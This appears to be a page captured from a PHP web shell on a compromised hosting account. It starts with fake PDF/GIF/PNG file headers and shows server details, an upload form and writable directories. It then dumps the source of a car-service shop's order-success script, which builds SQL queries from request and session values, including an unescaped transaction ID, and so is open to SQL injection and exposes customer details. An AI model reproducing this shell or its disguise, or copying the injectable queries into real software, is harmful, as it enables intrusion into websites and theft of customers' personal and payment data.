%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/success.php
<?php
include 'function.php';
$transaction_id = $_GET['txn_id'];
$company_name = $rows_website['website_name'];
$logo_url = $base_url."images/Upload/logo/".$rows_website['footer_logo'];
$recieve_date = date('Y-m-d H:i:s');

$explode_cart = explode(",", $_SESSION['cart_value']);
$grndTotalAed = str_replace("'", "\'", $explode_cart['grndTotalAed']);
$carPickup = str_replace("'", "\'", $explode_cart['CarPickup']);
$carDrop = str_replace("'", "\'", $explode_cart['CarDrop']);
$instant = str_replace("'", "\'", $explode_cart['instant']);
$date = str_replace("'", "\'", $explode_cart['date']);
$time = str_replace("'", "\'", $explode_cart['time']);
$name = str_replace("'", "\'", $explode_cart['name']);
$phone = str_replace("'", "\'", $explode_cart['phone']);
$email = str_replace("'", "\'", $explode_cart['email']);
$country = str_replace("'", "\'", $explode_cart['country']);
$state = str_replace("'", "\'", $explode_cart['state']);
$city = str_replace("'", "\'", $explode_cart['city']);
$postcode = str_replace("'", "\'", $explode_cart['postcode']);
$address = str_replace("'", "\'", $explode_cart['address']);
$minor_charg = str_replace("'", "\'", $explode_cart['minor_charg']);
$labor_charg = str_replace("'", "\'", $explode_cart['labor_charg']);
$vat_value = str_replace("'", "\'", $explode_cart['vat_value']);
$coupon =  str_replace("'", "\'", $_SESSION['coupon']) || '';
$discount =  str_replace("'", "\'", $_SESSION['discount']) | '';

$fetch_user = mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE user_id='".$_SESSION['user_id']."'"));
$user_id = $_SESSION['user_id'];
$type = "User";

$order_sql = mysqli_query($conn,"INSERT order_tbl SET 
`user_id`='$user_id',
`user_type`='$type',
`currency`='$type',
`grndTotalAed`='$grndTotalAed',
`carPickup`='$carPickup',
`carDrop`='$carDrop',
`instant`='$instant',
`date`='$date',
`time`='$time',
`name`='$name',
`phone`='$phone',
`email`='$email',
`country`='$country',
`state`='$state',
`city`='$city',
`postcode`='$postcode',
`address`='$address',
`minor_charg`='$minor_charg',
`labor_charg`='$labor_charg',
`coupon`='$coupon',
`discount`='$discount',
`vat`='$vat',
`vat_value`='$vat_value',
`transaction_id`='$transaction_id',
`recieve_date`='$recieve_date',
`status`='1'");

$ord_ido= mysqli_insert_id($conn);
$spri = sprintf("%04d",$ord_ido);
$order_id = "ORDER".$spri;
mysqli_query($conn,"UPDATE `order_tbl` SET `order_id`='$order_id' WHERE id='$ord_ido'");

if (!empty($sevi_id) || !empty($parts)) {
    if ($oil_id != 0) {
        $oil_name = $fetch_oil['title'];
        $oil_mobil_code = $fetch_oil['mobil_code'];
        $oil_price = $fetch_oil['price'];
    }
    
    if ($fetch_row['service_id'] != 0 && !empty($fetch_row['service_id'])) {
        foreach ($parts as $part) {
            $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_tbl WHERE id='$part'");
            while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                
                $part_name = $fetch_part['title'];
                $part_price = $fetch_part['price'];
            } 
        } 
    }
}
 

foreach ($_SESSION['cart'] as $productId => $items_cart) {

    $price    = $items_cart['price'];
    $sevi_id  = $items_cart['sevi_id'];
    $oil_id   = $items_cart['oil_id'];
    $parts    = $items_cart['parts'];
    $part_implode    = implode(",",$items_cart['parts']);
    $quantity    = $items_cart['quantity'];

    $fetch_row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));

    if (!empty($fetch_row['service_id']) && $fetch_row['service_id'] != 0) {
        $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $fetch_row['service_id'] . "'"));
        $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
        $part_table = "part_tbl";
    } else {
        $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $fetch_row['cat_id'] . "'"));
        $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
        $part_table = "part_pro_tbl";
    }

    if (!empty($sevi_id) || !empty($parts)) {

      
        if (!empty($oil_id) && $oil_id != 0 && !empty($fetch_oil)) {
            $oil_title      = $fetch_oil['title'];
            $oil_mobil_code = $fetch_oil['mobil_code'];
            $oil_price      = $fetch_oil['price'];
        }
     
        $part_titles = [];
        $part_prices = [];

        if (!empty($parts) && is_array($parts)) {
            foreach ($parts as $part) {
                $fetch_part_query = mysqli_query($conn, "SELECT * FROM $part_table WHERE id='$part'");
                while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                    $part_titles[] = $fetch_part['title'];
                    $part_prices[] = $fetch_part['price'];
                }
            }
        }

        $part_title_str = !empty($part_titles) ? implode(", ", $part_titles) : '';
        $part_price_str = !empty($part_prices) ? implode(", ", $part_prices) : '';
    }

    $order_detail_sql = mysqli_query($conn,"INSERT order_detail_tbl SET 
        `order_id`='$order_id',
        `user_id`='$user_id',
        `productId`='$productId',
        `price`='$price',
        `sevi_id`='$sevi_id',
        `oil_id`='$oil_id',
        `parts`='$part_implode',
        `quantity`='$quantity',
        `oil_title`='$oil_title',
        `oil_mobil_code`='$oil_mobil_code',
        `oil_price`='$oil_price',
        `part_title_str`='$part_title_str',
        `part_price_str`='$part_price_str',
        `recieve_date`='$recieve_date',
        `type`='$type',
        `status` = '1'");
}
    
if($_SESSION['user_id']){
    $fetch_user = mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE user_id='".$_SESSION['user_id']."'"));
    if(isset($_SESSION['discount']) && isset($_SESSION['coupon'])){
        $coupon_query = mysqli_query($conn, "SELECT * FROM `coupon_tbl` WHERE `coupon` = '$coupon' AND `discount` = '$discount'");
        $coupon_data = mysqli_fetch_assoc($coupon_query);
        $coupon_id = $coupon_data['id'];
        $coupon_ids = $fetch_user['coupon_id'];
        $quantity = $coupon_data['quantity'] - 1;
        $used = $coupon_data['used'] + 1;
        mysqli_query($conn, "UPDATE `coupon_tbl` SET `quantity`='$quantity', `used`='$used' WHERE `coupon` = '$coupon' AND `discount` = '$discount'");
        
        
        $couponArray = explode(",", $coupon_ids);
        $couponArray = array_diff($couponArray, [$coupon_id]);
        $new_coupon_ids = implode(",", $couponArray);
        mysqli_query($conn, "UPDATE `user_tbl` SET `coupon_id`='$new_coupon_ids' WHERE user_id='".$_SESSION['user_id']."'");
    }
}
    
    $email_temp .= '<h6><span>Total:</span> ' . $currencyType . '&nbsp;' . number_format($grndTotalUsd01, 2) . '</h6>
    </div>
    <div class="row">
    <div class="col-7">
    <p>Hi '.$name.', thank you for your purchase! We are getting your order ready to be shipped. We will notify you when it has been sent.</p>';
    if($type!='Geust'){
        $email_temp .= '<a href="' . $base_url . 'my-event.php" class="oredr-btn">View Your Order</a>';
    }
    $email_temp .= '<ul>
    <h4>Order Summary</h4>';
    
    
 foreach ($_SESSION['cart'] as $productId => $items_cart) {

    $price    = $items_cart['price'];
    $sevi_id  = $items_cart['sevi_id'];
    $oil_id   = $items_cart['oil_id'];
    $parts    = $items_cart['parts'];
    $total    = $items_cart['total'];
    $part_implode    = implode(",",$items_cart['parts']);
    $quantity    = $items_cart['quantity'];

    $fetch_row1 = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));

    if (!empty($fetch_row1['service_id']) && $fetch_row1['service_id'] != 0) {
        $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $fetch_row1['service_id'] . "'"));
        $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
        $part_table = "part_tbl";
    } else {
        $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $fetch_row1['cat_id'] . "'"));
        $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
        $part_table = "part_pro_tbl";
    }
        
        $email_temp .= '
        <li class="pro_img">
        <a href="' . $base_url. 'product-details/' . $fetch_row1['slug'] .'"><img src="' . $base_url . 'images/Upload/product/' . $fetch_row1['image1'] . '" alt=""></a>
        <p>Details <br>
        <span>Name: <a href="' . $base_url. 'product-details/' . $fetch_row1['slug'] .'" style="color:inherit">' . (!empty($_SESSION["cart"]))? $fetch_row1['title_ar']:$fetch_row1['title'] . '</a></span>';

        if (!empty($sevi_id) || !empty($parts)) {

      
        if (!empty($oil_id) && $oil_id != 0 && !empty($fetch_oil)) {
           echo '<p>Price <span>'.$fetch_oil['title'] .", ". $fetch_oil['mobil_code'] .", ". $fetch_oil['price'].'</span></p>';
        }

        if (!empty($parts) && is_array($parts)) {
            foreach ($parts as $part) {
                $fetch_part_query = mysqli_query($conn, "SELECT * FROM $part_table WHERE id='$part'");
                while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                    echo '<p>Price <span>'.$fetch_part['title'] .", ". $fetch_part['price']. '</span></p>';
                }
            }
        }
       
        }
        
        $email_temp .= '<span>Pickup Date-Time: '.$delivery_date_time1.'</span></p>
        <p>Price <span>' . $currencyType . ' ' . $price . '</span></p>
        <p>Quantity <span>' . $quantity1 . '</span></p>
        <p>Total <span>' . $currencyType . ' ' . $total . '</span></p>
        
        </li>';
    }
    
    $email_temp .= '
    <li class="total">
    <p>Subtotal : <span>'.$currencyType." ".$total_sum_usd1.'</span></p>';
    if(!empty($coupon) && !empty($discount)){
        $email_temp .= '
        <p>Applyed Coupon : <span>'.$coupon.'</span></p>
        <p>Coupon Discount : <span>AED '.$discount.'</span></p>';       
    } 
    if($instant!=0){
        $email_temp .= '<p>Instant : <span>Intant Services - '.$instant.'</span></p>';
    }
    $email_temp .= '
    <p>VAT : <span>'.$vat.'% - ( +'.$vat_value.')</span></p>
    <p>Grand Total : <span>'.$currencyType." ".$grndTotalAed.'</span></p>';
        
    $email_temp .= '
    </li>
    </ul>
    </div>
    <div class="col-5">
    <div class="custom-info">
    <h6>Customer Information</h6>
    <b>Bookig Address</b>
    <p><strong>Name : </strong>'.$name.'</p>
    <p><strong>Email : </strong>'.$email.'</p>
    <p><strong>Phone : </strong>'.$phone.'</p>
    <p><strong>Country : </strong>'.$country.'</p>
    <p><strong>State : </strong>'.$state.'</p>
    <p><strong>City : </strong>'.$city.'</p>
    <p><strong>Zip Code : </strong>'.$postcode.'</p>
    <p><strong>Address : </strong>'.$address.'</p>
    <p><strong>Message: </strong>'.$message.'</p>';
    if($instant!=0){
    $email_temp .= '<p><strong>Intant Services - '.$instant.'</strong></p>';
    }
    $email_temp .= '
    <p><strong>Timing: </strong>'.$date.' - '.$time.'</p>
    <b>Shipping Method</b>
    <p>Home Delivery</p>
    </div>
    </div>
    </div>
    </div>
    </body>
    </html>';
    
    $email_config=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));
    
    $host=$email_config['host'];
    $port=$email_config['port'];
    $username=$email_config['email'];
    $password=$email_config['password'];
    
    // Send email to user
    $mail = new PHPMailer(true);
    //$mail->SMTPDebug = 2;
    $mail->isSMTP();                                           
    $mail->Host       = ''.$host.'';                     
    $mail->SMTPAuth   = true;                                   
    $mail->Username   = ''.$username.'';                    
    $mail->Password   = ''.$password.'';                             
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
    $mail->Port       = $port;                                    
    $mail->setFrom($username, 'Kar services | Order Details');
    $mail->addAddress($email); 
    // $mail->addAddress($username);        
    $mail->isHTML(true); 
    $mail->Subject = 'Kar services: New Order Details';
    $mail->Body = $email_temp;
    if($mail->send()){
        unset($_SESSION["cart"]);
        unset($_SESSION['cart_value']);
        unset($_SESSION['coupon']);
        unset($_SESSION['discount']);
    }
    ?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Payment Successful - <?= htmlspecialchars($company_name) ?></title>
        
        <!-- ✅ Bootstrap 5 CSS -->
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
        
        <style>
            body {
                background-color: #28a745;
                font-family: 'Poppins', sans-serif;
                display: flex;
                align-items: center;
                justify-content: center;
                height: 100vh;
            }
            .card {
                border: none;
                border-radius: 16px;
                box-shadow: 0 4px 20px rgba(0,0,0,0.1);
                max-width: 500px;
                width: 100%;
            }
            .card .logo img {
                width: 120px;
            }
            .icon {
                font-size: 40px;
                color: #28a745;
            }
            .info p {
                margin: 0;
                font-size: 15px;
            }
            .d-grid {
                display: flex;
                justify-content: center;
            }
        </style>
</head>

<body>
    
    <div class="card text-center p-4">
        <div class="logo mb-3">
            <img src="<?= htmlspecialchars($logo_url) ?>" alt="<?= htmlspecialchars($company_name) ?> Logo">
        </div>
        
        <div class="icon mb-2">✅</div>
        <h3 class="text-success mb-2">Payment Successful</h3>
        <p class="text-muted">Thank you! Your payment has been received successfully.<br>Your order is now being processed.</p>
        
        <div class="border rounded p-3 my-3 bg-light text-start info">
            <p><strong>Order ID:</strong> <?= htmlspecialchars($order_id) ?></p>
            <p><strong>Transaction ID:</strong> <?= htmlspecialchars($transaction_id) ?></p>
        </div>
        
        <div class="d-grid gap-2">
            <a href="<?=$base_url?>" class="text-decoration-none btn btn-success mt-2">← Back to Home</a>
        </div>
    </div>
    
    <!-- ✅ Bootstrap 5 JS Bundle -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
    
</body>
</html>


<?php
// if (isset($_SESSION['cart'])) {
//     foreach ($_SESSION['cart'] as $productId => $pro_cart) {
//         $fetch_row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));
//         $price = $pro_cart['price'];
//         $sevi_id = $pro_cart['sevi_id'];
//         $oil_id = $pro_cart['oil_id'];
//         $parts = $pro_cart['parts'];
//         if ($fetch_row['service_id'] != 0 && !empty($fetch_row['service_id'])) {
//             $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $fetch_row['service_id'] . "'"));
//             $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
//         } else {
//             $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $fetch_row['cat_id'] . "'"));
//             $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
//         }

//         if (!empty($sevi_id) || !empty($parts)) {
//     if ($oil_id != 0) {

// $oil_title = $fetch_oil['title'];
// $oil_mobil_code = $fetch_oil['mobil_code'];
// $oil_price = $fetch_oil['price'];
//  }

// 	if ($fetch_row['service_id'] != 0 && !empty($fetch_row['service_id'])) {
// 		foreach ($parts as $part) {
//             $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_tbl WHERE id='$part'");
//             while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
																			
// $part_title = $fetch_part['title']; 
// $part_price = $fetch_part['price'];

// } } } else {
//     foreach ($parts as $part) {
//         $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_pro_tbl WHERE id='$part'");
//         while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
//             $part_title = $fetch_part['title']; 
//             $part_price = $fetch_part['price'];
//  } } } } } } ?>

VaKeR 2022